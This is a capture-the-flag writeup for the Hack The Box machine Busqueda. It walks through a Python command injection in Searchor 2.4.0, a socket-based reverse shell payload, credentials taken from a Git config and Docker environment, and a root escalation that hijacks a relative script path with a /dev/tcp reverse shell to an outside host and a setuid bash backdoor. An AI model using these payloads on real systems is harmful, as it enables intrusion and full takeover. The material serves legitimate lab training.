HTB: Busqueda Writeup

Machine Info

  • Linux target exploitable via a command injection vulnerability in a Python module
  • Attack path:
    1. Gain user-level access.
    2. Escalate privileges to root
    3. Find credentials in a Git config and log into a local Gitea service
    4. Discover a system checkup script that a specific user can run with root privileges.
    5. Abuse this script
    6. Enumerate Docker containers and identify credentials for the administrator user and Gitea account
    7. Review the script’s source code in a Git repository
      • It reveals a means to exploit a relative path reference
    8. Grant Remote Code Execution (RCE) with root privileges.

Write up

There are two open ports, SSH (22) and HTTP(80):

┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate=1000 -T4 10.129.228.217 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 08:48 EDT
Nmap scan report for 10.129.228.217
Host is up (0.033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
  • -p- scans all 65,535 TCP ports on the host 10.129.228.217.
  • --min-rate=1000 speeds up the scan by sending at least 1000 packets per second.
  • -T4 increases timing for faster execution (with moderate aggressiveness).
┌──(kali㉿kali)-[~]
└─$ nmap -p 22,80 -sV -Pn 10.129.228.217
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 08:53 EDT
Nmap scan report for 10.129.228.217
Host is up (0.028s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • -p 22,80: Scans only specified ports.
  • -sV: Enables service/version detection, so Nmap probes each open port to determine what service and version are running (e.g., OpenSSH 8.9p1, Apache 2.4.52).
  • -Pn: Disables host discovery (“ping scan”); Nmap assumes the host is up and proceeds directly to port scanning. This is useful when ICMP echo requests are blocked by firewalls.
  • The host is running a web server.
┌──(kali㉿kali)-[~]
└─$ echo "10.129.228.217 searcher.htb" | sudo tee -a /etc/hosts
  • Appends 10.10.11.208 searcher.htb to /etc/hosts file
  • The host resolve searcher.htb to that IP

  • The site uses OSS Searchor 2.4.0 to generate URLs across multiple search engines.
  • Searchor is a Python package/CLI for building search URLs and scraping.

https://github.com/ArjunSharda/Searchor/releases

  • Searchor v2.4.2 notes a high-priority fix for the Searcher CLI

  • From the patch, injecting a single quote into {query} triggers a crash

  • Supplying ')+str(__import__('os').system('id'))# in {query} executes id, returning user svc:
uid=1000(svc) gid=1000(svc) groups=1000(svc) https://www.accuweather.com/en/search-locations?query=%600

How it works:
  • exec("...") runs the string as Python code in the target process.
  • import socket,subprocess,os loads required modules.
  • s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) creates a TCP socket (IPv4).
  • s.connect(('<Attack host IP>',<port>)) opens an outbound TCP connection to the attacker’s listener.
  • os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) duplicates the socket file descriptor over the process’s standard input (fd0), output (fd1), and error (fd2), so the shell’s I/O flows over the TCP socket. fd0fd1fd2 are the POSIX file descriptor numbers for a process’s standard streams:
    • fd 0 = stdin — standard input (where the process reads input).
    • fd 1 = stdout — standard output (where the process writes normal output).
    • fd 2 = stderr — standard error (where the process writes error messages).
  • p=subprocess.call(['/bin/sh','-i']) launches an interactive /bin/sh whose stdin/stdout/stderr are now the socket, giving the attacker an interactive shell on the target.
  • The trailing )# in the original injection closes the surrounding expression and comments out the rest.

Launch a listener on the attack machine

nc -nvlp 1337

Send a POST request to the targeted machine and connect via the reverse shell:

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<Attack host IP>',<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

After connecting, retrieve user.txt and inspect .git/config for creds:

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1337                      
listening on [any] 1337 ...
connect to [10.10.14.106] from (UNKNOWN) [10.129.228.217] 34420
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
svc@busqueda:/var/www/app$ cat /home/svc/user.txt
cat /home/svc/user.txt
0f2f9340bf6be204b26a4704d63ab3b9
svc@busqueda:/var/www/app$ cat /var/www/app/.git/config
cat /var/www/app/.git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

Check sudo privileges:

sudo -l

svc may run:

/usr/bin/python3 /opt/scripts/system-checkup.py *

Connect to the target host via SSH

┌──(kali㉿kali)-[~]
└─$ ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha256 svc@searcher.htb 
svc@searcher.htb's password: 

After the connection established, check the id and current user’s permissions

Last login: Sat Oct 18 15:22:43 2025 from 10.10.14.106
svc@busqueda:~$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Check the permission with system-checkup.py

svc@busqueda:~$ ls -l /opt/scripts/system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24  2022 /opt/scripts/system-checkup.py

svc@busqueda:~$ /usr/bin/python3 /opt/scripts/system-checkup.py *
/usr/bin/python3: can't open file '/opt/scripts/system-checkup.py': [Errno 13] Permission denied
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   2 years ago   Up 3 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   2 years ago   Up 3 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
[sudo] password for svc: 
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

Get the information about docker

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
{
  "Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
  "Created": "2023-01-06T17:26:54.457090149Z",
  "Path": "/usr/bin/entrypoint",
  "Args": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],
  "State": {
  ...REDUCTED...
    "Env": [
      "USER_UID=115",
      "USER_GID=121",
      "GITEA__database__DB_TYPE=mysql",
      "GITEA__database__HOST=db:3306",
      "GITEA__database__NAME=gitea",
      "GITEA__database__USER=gitea",
      "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "USER=git",
      "GITEA_CUSTOM=/data/gitea"
    ],
    ...REDUCTED...
    }
  }
}

Execute another python file full-checkup.py

svc@busqueda:~$ cd /opt/scripts/
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
0   │ app    │ default     │ N/A     │ fork    │ 1358     │ 4h     │ 0    │ online    │ 0%       │ 30.2mb   │ svc      │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘

[+] Done!

Exploiting the relative-path helper (full-checkup.sh)
Create a malicious helper in a writable directory and run the Python wrapper from there so it resolves the local script as root.

Reverse-shell variant:

nano /tmp/full-checkup.sh
#!/bin/bash  
bash -i >& /dev/tcp/10.10.14.106/443 0>&1

Make it executable

chmod +x /tmp/full-checkup.sh

I tried to run it, but it didn’t work

sudo python3 /opt/scripts/system-checkup.py full-checkup

Setuid backdoor variant (used here):

  • The script copies /bin/bash to /tmp/0xdf and sets permissions 4777 (setuid bit + world read/write/execute).
  • That makes /tmp/0xdf a setuid root shell — anyone executing it would get a root shell (serious privilege-escalation backdoor).
svc@busqueda:/tmp$ cd /dev/shm
svc@busqueda:/dev/shm$ ls
svc@busqueda:/dev/shm$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchmod 4777 /tmp/0xdf' > full-checkup.sh
svc@busqueda:/dev/shm$ chmod +x full-checkup.sh
svc@busqueda:/dev/shm$ sudo python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!

Executed /tmp/0xdf -p for running with root privileges and spawning an interactive root shell (0xdf-5.1#)

svc@busqueda:/dev/shm$ ls -l /tmp/0xdf
-rwsrwxrwx 1 root root 1396520 Oct 18 20:13 /tmp/0xdf
svc@busqueda:/dev/shm$ /tmp/0xdf -p
0xdf-5.1# cd /root
0xdf-5.1# ls
ecosystem.config.js  root.txt  scripts  snap
0xdf-5.1# cat root.txt
c2b0c9**************************